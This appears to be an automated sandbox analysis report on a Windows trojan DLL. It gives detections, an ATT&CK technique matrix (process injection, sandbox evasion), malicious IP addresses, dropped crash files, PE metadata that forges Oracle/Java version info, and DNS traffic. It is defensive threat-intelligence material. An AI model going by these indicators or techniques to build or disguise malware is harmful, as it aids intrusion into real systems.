Source: WerFault.exe, 00000009.00000002.746926254.0000000005500000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_10006D50 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_10006D50

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0f72be74_by_Libranalysis.dll',#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_10006D50

Source: C:\Windows\SysWOW64\rundll32.exe

2_2_10006D50

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection11	Virtualization/Sandbox Evasion1	Input Capture1	Security Software Discovery21	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection11	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Account Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	System Owner/User Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing2	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery11	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0f72be74_by_Libranalysis.dll	36%	ReversingLabs	Win32.Trojan.Convagent
0f72be74_by_Libranalysis.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.rundll32.exe.2d80000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
82.209.17.209	unknown	Czech Republic	30764	PODA-ASCZ	true
162.241.209.225	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
43.229.206.212	unknown	Indonesia	24532	INET-AS-IDPTInetGlobalIndoID	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	413060
Start date:	13.05.2021
Start time:	07:25:20
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0f72be74_by_Libranalysis.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.troj.winDLL@6/4@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 57% (good quality ratio 49.3%) Quality average: 67.4% Quality standard deviation: 35.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 9
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll Stop behavior analysis, all processes terminated

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
82.209.17.209	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse
	7587f225_by_Libranalysis.dll	Get hash	malicious	Browse
	e3429d75_by_Libranalysis.dll	Get hash	malicious	Browse
	8b521700_by_Libranalysis.dll	Get hash	malicious	Browse
	94a4d66c_by_Libranalysis.dll	Get hash	malicious	Browse
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse
	0f72be74_by_Libranalysis.dll	Get hash	malicious	Browse
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse
	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse
	fe1d4238_by_Libranalysis.dll	Get hash	malicious	Browse
	13f88d67_by_Libranalysis.dll	Get hash	malicious	Browse
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse
	4e021da2_by_Libranalysis.dll	Get hash	malicious	Browse
	27c06d28_by_Libranalysis.dll	Get hash	malicious	Browse
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse
	6bea48e8_by_Libranalysis.dll	Get hash	malicious	Browse
162.241.209.225	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse
	7587f225_by_Libranalysis.dll	Get hash	malicious	Browse
	e3429d75_by_Libranalysis.dll	Get hash	malicious	Browse
	8b521700_by_Libranalysis.dll	Get hash	malicious	Browse
	94a4d66c_by_Libranalysis.dll	Get hash	malicious	Browse
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse
	0f72be74_by_Libranalysis.dll	Get hash	malicious	Browse
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse
	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse
	fe1d4238_by_Libranalysis.dll	Get hash	malicious	Browse
	13f88d67_by_Libranalysis.dll	Get hash	malicious	Browse
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse
	4e021da2_by_Libranalysis.dll	Get hash	malicious	Browse
	27c06d28_by_Libranalysis.dll	Get hash	malicious	Browse
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse
	6bea48e8_by_Libranalysis.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PODA-ASCZ	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	7587f225_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	e3429d75_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	8b521700_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	94a4d66c_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	0f72be74_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	fe1d4238_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	13f88d67_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	4e021da2_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	27c06d28_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
	6bea48e8_by_Libranalysis.dll	Get hash	malicious	Browse	82.209.17.209
UNIFIEDLAYER-AS-1US	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	7587f225_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	e3429d75_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	8b521700_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	94a4d66c_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	0f72be74_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	2a71d07d_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	fe1d4238_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	13f88d67_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	4bfaad72_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	a194019c_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	cdc733ac_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	4e021da2_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	27c06d28_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	86fa0c16_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225
	6bea48e8_by_Libranalysis.dll	Get hash	malicious	Browse	162.241.209.225

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundll32.exe_41fa1884768d4e739447e9cfb8aa8e7080fe54_82810a17_173d2041\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	12482
Entropy (8bit):	3.7659692206552324
Encrypted:	false
SSDEEP:	192:8Vesiy40oXs0cHBUZMX4jed+gG/u7sFS274ItWcG:bsiy+XsPBUZMX4jes/u7sFX4ItWcG
MD5:	7C23390373D50625C670AAB9C4F09683
SHA1:	9E5C5B76B6246408C7BFB4CCD5F170C7E5B37EB7
SHA-256:	859EF2D1F8BD51079F9D94ECAF4B31443D3CB1D9DFB58BB27BD840E2E3A01CEC
SHA-512:	E1CD62639BB78643100B682BCEEA3993199EB098FCF85C0BF403688DF838981B6B1786128949A2F130FA5F4783021A8D9A49ED86773AF48CE43EEF14109AEFA7
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.5.3.5.7.2.0.6.7.4.9.0.0.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.5.3.5.7.2.1.1.1.8.6.4.9.1.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.e.1.f.8.f.5.3.-.6.1.a.e.-.4.e.d.7.-.9.f.f.6.-.2.6.5.d.f.9.3.5.2.d.7.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.f.3.7.d.d.e.-.7.2.7.e.-.4.5.5.b.-.9.0.9.e.-.9.c.3.0.3.f.f.0.f.3.b.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.0.4.-.0.0.0.1.-.0.0.1.b.-.5.8.d.1.-.d.f.7.d.b.8.4.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10D2.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4663
Entropy (8bit):	4.473335838513819
Encrypted:	false
SSDEEP:	48:cvIwSD8zsEJgtWI9p1WSC8B28fm8M4JCdshNrFw+q8/4NF2r04SrS6d:uITfC2ESNNJXNSnNFDW6d
MD5:	43F22E3D547CACD3ED45C9B39170876C
SHA1:	B246188AD45F0D6169E7633E66D285D90AEC392B
SHA-256:	99B0D66C49F15BB6D4F43E93EAA743A2D5F4E5A2016B381CB3CA1ED32B40D5F6
SHA-512:	C33ADF2EA1ACCF578E0DF071818F08F8BF666E80BE7456D266D04E7CA7DF5C195A6DCE0AA904CF7DFA45016D12B3230D06FF54D5C15CB578FB70D87B79317C94
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="987277" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D7.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu May 13 05:26:48 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	40502
Entropy (8bit):	2.274737414765593
Encrypted:	false
SSDEEP:	192:SSZXEbfO3J0f8k2HsUTOTjyBWMR/sx43a73UHcvw:mfMNKyBDy43a7zY
MD5:	78C891E667F2EFE55ACAF13811962155
SHA1:	96D94CD2CDBFA556F9FBFC27ECE29C59E9BB96D0
SHA-256:	FC6DA0EF1FA472B473F42B5225A3D34954C156C7AC9B54B26096CF7DEB02C317
SHA-512:	50C6637D0292C9644698651FE60B73A596D7FE7C79CB47FD94DFFA208B417A7E686E82D7632EAC575EB7C6E7C162CCCF820076E5F1CD944FCDB239EAD286BFFE
Malicious:	false
Reputation:	low
Preview:	MDMP....... ..........`...................U...........B......x.......GenuineIntelW...........T...........v..`.............................0..=...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6F.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8294
Entropy (8bit):	3.6943146591652454
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNirN6Yw6YH46vygmfTlVSPQ+pru89bxbsfxK7m:RrlsNix6f6YY6vygmfTvSTxgfZ
MD5:	E5F352DDC7C6E68D15E7BE7523397E2F
SHA1:	F7EB2F092FCDDF5A526770F80D67B5E8ABB35787
SHA-256:	EB8AD01817FB453C4C3887057AA917DA3601CF1434AA02377F838ABDAA1C7017
SHA-512:	F017FD03434F4B598D60DB139D863244501EE0BABE999000E5196014FC2EC2AEA126480ECCFBD97E79EBD42388A9B9A6C1D121E69997F3F1132B395F5F1D1BB1
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.6.0.<./.P.i.d.>.......

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.513868857555084
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0f72be74_by_Libranalysis.dll
File size:	167424
MD5:	0f72be74fa3f62cdc228d4c3b5d84406
SHA1:	66925350b9c8d0919d6eebd6efeab17edac1a3cd
SHA256:	3078512d8dc5547c01c07d044be234a69e79456b0480d9c6d8cbf5354b52021e
SHA512:	ce6dace2f465a9886aed7d7f6a099f33d1eeb29acdef9d2ed71be0cff745d866ca9baf1fb4447ce539eeb833e588c33a74f436931c3ae70ddc326bef75d002d4
SSDEEP:	3072:d9F/oNrQb4xVubbXP/NTccbsFvCeLmXH57V30e8Pj:d9F6rQXvFczvYpQP
File Content Preview:	MZ......................@...................................\...........!..L.!This program cannot be run in DOS mode....$.......Xm.o...<...<...<.U!<...<..B<r..<...<...<rQ!<...<;..<...<;..<3..<au.<...<szt<"..<Rich...<.......................................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10024cc0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x609C8024 [Thu May 13 01:25:56 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	88962f6760ea005847fb88b87e8ce1fd

Entrypoint Preview

Instruction
mov eax, 00000000h
cmpss xmm1, xmm2, 03h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp eax, 02h
mov eax, ebp
mov dword ptr [10029734h], eax
mov eax, ebx
mov dword ptr [10029730h], eax
mov eax, esi
mov dword ptr [10029728h], eax
jne 00007FA444925EB6h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Rich Headers

Programming Language:

[RES] VS2015 build 23026
[IMP] VS2013 UPD4 build 31101
[ C ] VS2010 build 30319
[RES] VS2015 UPD2 build 23918
[C++] VS2005 build 50727
[IMP] VS2010 SP1 build 40219
[RES] VS2012 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2770a	0x5b	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x277d8	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x3a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x1220
IMAGE_DIRECTORY_ENTRY_DEBUG	0x10018	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x25000	0x4c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x23dfe	0x23e00	False	0.756362968206	data	7.53078515147	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x25000	0x2ceb	0x2c00	False	0.753728693182	data	7.42331753213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.crt	0x28000	0x331c	0x1800	False	0.79052734375	MMDF mailbox	7.46423038313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0xe88	0x400	False	0.4248046875	data	3.06187161643	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x26c	0x400	False	0.548828125	data	4.2946697642	IMAGE_SCN_TYPE_NOLOAD, IMAGE_SCN_TYPE_DSECT, IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x33c	data

Imports

DLL	Import
KERNEL32.dll	GetProfileSectionW, CloseHandle, OpenSemaphoreW, LoadLibraryW, OutputDebugStringA, CreateFileW, GetProfileSectionA
USER32.dll	TranslateMessage
CLUSAPI.dll	ClusterEnum
ADVAPI32.dll	RegOverridePredefKey
RASAPI32.dll	RasGetConnectionStatistics
ole32.dll	CreatePointerMoniker, CreateStreamOnHGlobal

Version Infos

Description	Data
LegalCopyright	Copyright 2018
InternalName	x2otfb
FileVersion	7.2.5422.00
Full Version	7.2.5_000-b00
CompanyName	Oracle Corporation
ProductName	Xhot(BM) Ltloehey YO 8
ProductVersion	7.2.5422.00
FileDescription	Java(TM) Platform SE binary
OriginalFilename	x2otfb.dll
Translation	0x0000 0x04b0

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2021 07:26:05.785856009 CEST	49714	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:05.838548899 CEST	53	49714	8.8.8.8	192.168.2.4
May 13, 2021 07:26:06.720690966 CEST	58028	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:06.769577980 CEST	53	58028	8.8.8.8	192.168.2.4
May 13, 2021 07:26:08.308527946 CEST	53097	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:08.357296944 CEST	53	53097	8.8.8.8	192.168.2.4
May 13, 2021 07:26:08.849631071 CEST	49257	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:08.906475067 CEST	53	49257	8.8.8.8	192.168.2.4
May 13, 2021 07:26:09.074315071 CEST	62389	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:09.149528980 CEST	53	62389	8.8.8.8	192.168.2.4
May 13, 2021 07:26:09.928435087 CEST	49910	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:09.982691050 CEST	53	49910	8.8.8.8	192.168.2.4
May 13, 2021 07:26:10.984586954 CEST	55854	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:11.036190987 CEST	53	55854	8.8.8.8	192.168.2.4
May 13, 2021 07:26:12.195267916 CEST	64549	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:12.255630970 CEST	53	64549	8.8.8.8	192.168.2.4
May 13, 2021 07:26:14.180327892 CEST	63153	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:14.229007959 CEST	53	63153	8.8.8.8	192.168.2.4
May 13, 2021 07:26:14.990048885 CEST	52991	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:15.041765928 CEST	53	52991	8.8.8.8	192.168.2.4
May 13, 2021 07:26:15.854332924 CEST	53700	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:15.903060913 CEST	53	53700	8.8.8.8	192.168.2.4
May 13, 2021 07:26:16.929326057 CEST	51726	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:16.978147984 CEST	53	51726	8.8.8.8	192.168.2.4
May 13, 2021 07:26:18.083895922 CEST	56794	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:18.140892029 CEST	53	56794	8.8.8.8	192.168.2.4
May 13, 2021 07:26:19.195698977 CEST	56534	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:19.247380972 CEST	53	56534	8.8.8.8	192.168.2.4
May 13, 2021 07:26:19.980705023 CEST	56627	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:20.029311895 CEST	53	56627	8.8.8.8	192.168.2.4
May 13, 2021 07:26:21.338857889 CEST	56621	53	192.168.2.4	8.8.8.8
May 13, 2021 07:26:21.387588024 CEST	53	56621	8.8.8.8	192.168.2.4
